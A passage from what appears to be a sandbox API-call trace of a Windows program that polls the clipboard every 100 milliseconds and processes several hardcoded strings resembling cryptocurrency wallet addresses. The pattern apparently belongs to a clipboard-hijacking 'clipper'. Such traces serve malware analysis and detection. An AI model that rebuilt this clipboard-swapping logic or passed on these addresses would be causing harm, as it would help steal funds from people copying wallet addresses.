lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.840] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.841] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.841] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.841] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.841] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.841] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.841] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.841] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.841] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.842] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.842] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.842] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0045.842] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0045.842] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0045.842] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0045.842] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0045.842] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0045.842] Sleep (dwMilliseconds=0x64) [0045.969] GetOpenClipboardWindow () returned 0x0 [0045.969] OpenClipboard (hWndNewOwner=0x0) returned 1 [0045.969] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0045.969] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0045.969] GlobalSize (hMem=0x6069b8) returned 0x42 [0045.969] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0045.969] GlobalUnlock (hMem=0x6069b8) returned 1 [0045.970] CloseClipboard () returned 1 [0045.970] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.970] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.970] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.970] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.970] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.970] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.970] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.970] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.970] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.970] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.971] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.971] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.971] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.971] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.971] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.971] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.971] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.971] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.971] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.972] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.972] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.972] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.972] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.972] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.972] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.972] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.972] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.972] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.973] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.973] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.973] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.973] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.973] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0045.973] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0045.973] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0045.973] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0045.973] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0045.973] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0045.973] Sleep (dwMilliseconds=0x64) [0046.087] GetOpenClipboardWindow () returned 0x0 [0046.087] OpenClipboard (hWndNewOwner=0x0) returned 1 [0046.087] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0046.087] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0046.087] GlobalSize (hMem=0x6069b8) returned 0x42 [0046.093] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0046.093] GlobalUnlock (hMem=0x6069b8) returned 1 [0046.093] CloseClipboard () returned 1 [0046.093] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.101] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.101] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.101] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.101] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.101] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.101] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.102] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: 